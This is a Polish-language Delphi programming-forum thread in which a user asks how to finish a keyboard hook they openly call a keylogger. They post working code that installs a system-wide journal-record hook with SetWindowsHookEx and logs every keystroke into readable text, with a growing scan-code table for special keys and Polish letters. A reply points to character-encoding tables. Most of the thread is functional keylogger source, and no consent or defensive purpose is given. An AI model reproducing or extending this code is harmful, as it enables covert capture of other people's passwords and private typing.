Hook - kompletne rozwiązanie

0

W ostatnim czasie zostalo postawione przedemna zadanie napisanie hooka na klawiature.
O ile na tym forum ten watek byl wielokrotnie powtarzany o tyle nigdy wlasciwie temat nie zostal rozwiazany do konca...

Otoz postawienie samego keylogera to nie problem...
Schody zaczynaja sie gdy dane gromadzone przez niego maja miec przejrzysta postac...
Klawisze funkcyjne... Shift itp da sie latwo przechwycic...
Ale zespolenie calego systemu by ten odroznial ąś ĆŹŻ !1 #$4 ,< w pewnym sensie wykracza poza moje mozliwosci.
Oczywistym faktem jest ze niekore klawisze takie jak enter najlepiej jak peda sygnaliozwane w nastepujacy sposob: [ENTER]...

A teraz do rzeczy...
Poradzilbym sobie z pelna realizacja problemu gdybym potrafil odebrac komunikat onkeyup z hooka...
By bardziej zaobrazowac zagadnienie zaprezentuje swoje dotychczasowe rozwiazanie...

procedure Text(T:String);
begin
  Form1.Memo2.Text := Form1.Memo2.Text + T;
end;

procedure Key(A:TEventMsg);
begin
  case A.paramh of
  1 : Text('[ESCAPE]');
  2 : Text('!');
  3 : Text('@');
  4 : Text('#');
  5 : Text('$');
  6 : Text('%');
  7 : Text('^');
  8 : Text('&');
  9 : Text('*');
  10: Text('(');
  11: Text(')');
  12: Text('-');
  13: Text('+');
  14: Text('[BACKSPACE]');
  15: Text('[TAB]');

  39: Text(':');
  40: Text('"');
  42: Text('[SHIFT]');
  51: Text('<');
  52: Text('>');
  53: Text('?');
  28: Text('[ENTER]') else
  begin
    Form1.Memo2.Text:=Form1.Memo2.Text+chr(A.paraml);
  end;
  end;
end;


function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
  case Code of

  HC_ACTION: begin
   MessageBuffer:=PEventMsg(lParam)^;
   if MessageBuffer.message=wm_KeyDown then begin
   Key(MessageBuffer);
   Result:=0;
  end;
end;

  else begin
   Result := CallNextHookEx(Hook, Code, wParam, lParam);
  end;
end;
end;


//podczepienie hooka
 Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
//zwolnienie hooka
UnHookWindowsHookEx(Hook);
//zmienne dla hooka (globalne)
 Hook:Integer;
 MessageBuffer:TEventMsg;

Za wszelkie sugestie rozwoju-poprawy kodu bede wielce wdzieczny...
Pozdrawiam... Do uslysenia...

PS potrzebuje
case A.paramh of
1 : Text('[ESCAPE]'); //- identyfikacje numerow klawiszy, pod jakim ktory jest...

PS2
Poradzilem sobie z klawiszami nie wcisnietymi
if MessageBuffer.message=wm_KeyUp then begin

0

Każdy char ma swój numer 0..255. Tablice kodowania windows 1250, Mazowia, Latin, Latin2, Iso i inne są ogólnodostepne. Poszukaj. Dla hooka nie ma znaczenia czy szukasz ą czy a. Jeżeli chcesz mieć kody klawiszy Alt+ coś tam, Ctrl + Coś tam to równiez są one dostępne. Poza tym często poruszano problem rozszerzonych kodów klawiszy

0

na wydobycie kodow napisalem takie cos:
for I:=0 to 256 do
if A.paramh=I then
Form1.Memo2.Text := Form1.Memo2.Text + ' '+IntToStr(I);
exit;

ale ow procedurka (a raczej sam hook) nie uwzglednia:
altow oraz innych niektorych klawiszy:
np prawego entera...
strzalek...
oraz end... delete itp...
co proponujecie?

PS...
lewy alt nie jest w ogole wykryty...
prawy jest potraktowany niczym lewy ctrl...
:-/

PS2
oto kolejny fragment kodu uwzgledniajacy moj problem:


  case A.paramh of
  1 : Text('[ESCAPE]');
  2 : Text2('!','1');
  3 : Text2('@','2');
  4 : Text2('#','3');
  5 : Text2('$','4');
  6 : Text2('%','5');
  7 : Text2('^','6');
  8 : Text2('&','7');
  9 : Text2('*','8');
  10: Text2('(','9');
  11: Text2(')','0');
  12: Text2('_','-');
  13: Text2('+','=');
  14: Text('[BACKSPACE]');
  15: Text('[TAB]');
  26: Text2('{','[');
  27: Text2('}',']');
  28: Text('[ENTER]');
  29: Text('[CTRL]');

  37: Text('[up]');

  39: Text2(':',';');
  40: Text2('"','"');
  41: Text2('~','`');
  42: begin Text('[SHIFT]'); Shift:=True; end;
  43: Text2('|','\');
  51: Text2('<',',');
  52: Text2('>','.');
  53: Text2('?','/');

  55: Text('*');
  56: begin Text('[CTRL+ALT]'); CTRL_ALT:=true; end;
  57: Text('[SPACE]');
  58: Text('[CAPS LOCK]');
  59: Text('[F1]');
  60: Text('[F2]');
  61: Text('[F3]');
  62: Text('[F4]');
  63: Text('[F5]');
  64: Text('[F6]');
  65: Text('[F7]');
  66: Text('[F8]');
  67: Text('[F9]');
  68: Text('[F10]');
  69: Text('[PAUSE / BREAK]');
  70: Text('[SCROLL LOCK]');

  71: Text('7');
  72: Text('8');
  73: Text('9');
  74: Text('-');
  75: Text('4');
  76: Text('5');
  77: Text('6');
  78: Text('+');
  79: Text('1');
  80: Text('2');
  81: Text('3');
  82: Text('0');
  83: Text(',');

  87: Text('[F11]');
  88: Text('[F12]') else
  begin
    if Ctrl_Alt=true then
    begin
      if chr(A.paraml)='A' then B:='Ą';
      if chr(A.paraml)='C' then B:='Ć';
      if chr(A.paraml)='Z' then B:='Ż';
      if chr(A.paraml)='X' then B:='Ź';
      if chr(A.paraml)='L' then B:='Ł';
      if chr(A.paraml)='O' then B:='Ó';
      if chr(A.paraml)='S' then B:='Ś';
      if chr(A.paraml)='N' then B:='Ń';
    end else

1 użytkowników online, w tym zalogowanych: 0, gości: 1